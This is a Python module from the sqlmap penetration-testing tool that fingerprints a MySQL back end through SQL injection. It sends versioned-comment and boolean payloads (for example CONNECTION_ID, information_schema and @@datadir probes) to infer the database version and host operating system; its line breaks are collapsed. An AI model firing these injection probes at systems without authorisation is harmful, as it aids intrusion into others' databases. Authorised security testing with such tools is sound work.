#!/usr/bin/env python """ $Id$ Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.agent import agent from lib.core.common import formatDBMSfp from lib.core.common import formatFingerprint from lib.core.common import getHtmlErrorFp from lib.core.common import getUnicode from lib.core.common import randomInt from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import PLACE from lib.core.session import setDbms from lib.core.settings import MYSQL_ALIASES from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.request import inject from lib.request.connect import Connect as Request from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self) def __commentCheck(self): infoMsg = "executing MySQL comment injection fingerprint" logger.info(infoMsg) query = agent.prefixQuery("/* NoValue */") query = agent.suffixQuery(query) payload = agent.payload(newValue=query) result = Request.queryPage(payload) if not result: warnMsg = "unable to perform MySQL comment injection" logger.warn(warnMsg) return None # MySQL valid versions updated on 01/2010 versions = ( (32200, 32234), # MySQL 3.22 (32300, 32360), # MySQL 3.23 (40000, 40032), # MySQL 4.0 (40100, 40123), # MySQL 4.1 (50000, 50090), # MySQL 5.0 (50100, 50142), # MySQL 5.1 (50400, 50405), # MySQL 5.4 (50500, 50502), # MySQL 5.5 (60000, 60011), # MySQL 6.0 ) for element in versions: prevVer = None for version in range(element[0], element[1] + 1): randInt = randomInt() version = getUnicode(version) query = agent.prefixQuery("/*!%s AND %d=%d*/" % (version, randInt, randInt + 1)) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) result = Request.queryPage(payload) if result: if not prevVer: prevVer = version if version[0] == "3": midVer = prevVer[1:3] else: midVer = prevVer[2] trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:]) return trueVer prevVer = version return None def getFingerprint(self): value = "" wsOsFp = formatFingerprint("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " actVer = formatDBMSfp() if not conf.extensiveFp: value += actVer return value comVer = self.__commentCheck() blank = " " * 15 value += "active fingerprint: %s" % actVer if comVer: comVer = formatDBMSfp([comVer]) value += "\n%scomment injection fingerprint: %s" % (blank, comVer) if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None if re.search("-log$", kb.data.banner): banVer += ", logging enabled" banVer = formatDBMSfp([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = getHtmlErrorFp() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): """ References for fingerprint: * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89) * http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42) * http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4) * http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0) * http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn) """ if ((kb.dbms is not None and kb.dbms.lower() in MYSQL_ALIASES) \ or conf.dbms in MYSQL_ALIASES) and kb.dbmsVersion and \ kb.dbmsVersion[0] != UNKNOWN_DBMS_VERSION: kb.dbmsVersion[0] = kb.dbmsVersion[0].replace(">", "") kb.dbmsVersion[0] = kb.dbmsVersion[0].replace("=", "") kb.dbmsVersion[0] = kb.dbmsVersion[0].replace(" ", "") setDbms("%s %s" % (DBMS.MYSQL, kb.dbmsVersion[0])) if str(kb.dbmsVersion[0]) >= '5': kb.data.has_information_schema = True self.getBanner() if not conf.extensiveFp: return True infoMsg = "testing MySQL" logger.info(infoMsg) randInt = getUnicode(randomInt(1)) result = inject.checkBooleanExpression("CONNECTION_ID()=CONNECTION_ID()") if result: infoMsg = "confirming MySQL" logger.info(infoMsg) result = inject.checkBooleanExpression("USER()=USER()") if not result: warnMsg = "the back-end DBMS is not MySQL" logger.warn(warnMsg) return False # Determine if it is MySQL >= 5.0.0 #if inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.TABLES LIMIT 0, 1)" % (randInt, randInt)): if inject.checkBooleanExpression("EXISTS(SELECT %s FROM information_schema.TABLES)" % randInt): kb.data.has_information_schema = True kb.dbmsVersion = [">= 5.0.0"] setDbms("%s 5" % DBMS.MYSQL) self.getBanner() if not conf.extensiveFp: return True # Check if it is MySQL >= 5.5.0 if inject.checkBooleanExpression("TO_SECONDS(950501)>0"): kb.dbmsVersion = [">= 5.5.0"] # Check if it is MySQL >= 5.1.2 and < 5.5.0 elif inject.checkBooleanExpression("@@table_open_cache=@@table_open_cache"): if inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.GLOBAL_STATUS LIMIT 0, 1)" % (randInt, randInt)): kb.dbmsVersion = [">= 5.1.12", "< 5.5.0"] elif inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1)" % (randInt,randInt)): kb.dbmsVersion = [">= 5.1.7", "< 5.1.12"] elif inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1)" % (randInt, randInt)): kb.dbmsVersion = ["= 5.1.6"] elif inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1)" % (randInt, randInt)): kb.dbmsVersion = [">= 5.1.5", "< 5.1.6"] else: kb.dbmsVersion = [">= 5.1.2", "< 5.1.5"] # Check if it is MySQL >= 5.0.0 and < 5.1.2 elif inject.checkBooleanExpression("@@hostname=@@hostname"): kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"] elif not inject.checkBooleanExpression("%s=(SELECT %s FROM DUAL WHERE 1=2)" % (randInt, randInt)): kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"] elif inject.checkBooleanExpression("DATABASE() LIKE SCHEMA()"): kb.dbmsVersion = [">= 5.0.2", "< 5.0.11"] else: kb.dbmsVersion = [">= 5.0.0", "<= 5.0.1"] # For cases when information_schema is missing elif inject.checkBooleanExpression("DATABASE() LIKE SCHEMA()"): kb.dbmsVersion = [">= 5.0.2"] setDbms("%s 5" % DBMS.MYSQL) self.getBanner() elif inject.checkBooleanExpression("STRCMP(CHAR(97), CHAR(65))=0"): kb.dbmsVersion = ["< 5.0.0"] setDbms("%s 4" % DBMS.MYSQL) self.getBanner() if not conf.extensiveFp: return True # Check which version of MySQL < 5.0.0 it is if inject.checkBooleanExpression("3=(SELECT COERCIBILITY(USER()))"): kb.dbmsVersion = [">= 4.1.11", "< 5.0.0"] elif inject.checkBooleanExpression("2=(SELECT COERCIBILITY(USER()))"): kb.dbmsVersion = [">= 4.1.1", "< 4.1.11"] elif inject.checkBooleanExpression("CURRENT_USER()=CURRENT_USER()"): kb.dbmsVersion = [">= 4.0.6", "< 4.1.1"] if inject.checkBooleanExpression("'utf8'=(SELECT CHARSET(CURRENT_USER()))"): kb.dbmsVersion = ["= 4.1.0"] else: kb.dbmsVersion = [">= 4.0.6", "< 4.1.0"] else: kb.dbmsVersion = [">= 4.0.0", "< 4.0.6"] else: kb.dbmsVersion = ["< 4.0.0"] setDbms("%s 3" % DBMS.MYSQL) self.getBanner() return True else: warnMsg = "the back-end DBMS is not MySQL" logger.warn(warnMsg) return False def checkDbmsOs(self, detailed=False): if kb.os: return infoMsg = "fingerprinting the back-end DBMS operating system" logger.info(infoMsg) if inject.checkBooleanExpression("'/'=(SELECT MID(@@datadir, 1, 1))"): kb.os = "Linux" else: kb.os = "Windows" infoMsg = "the back-end DBMS operating system is %s" % kb.os logger.info(infoMsg) self.cleanup(onlyFileTbl=True)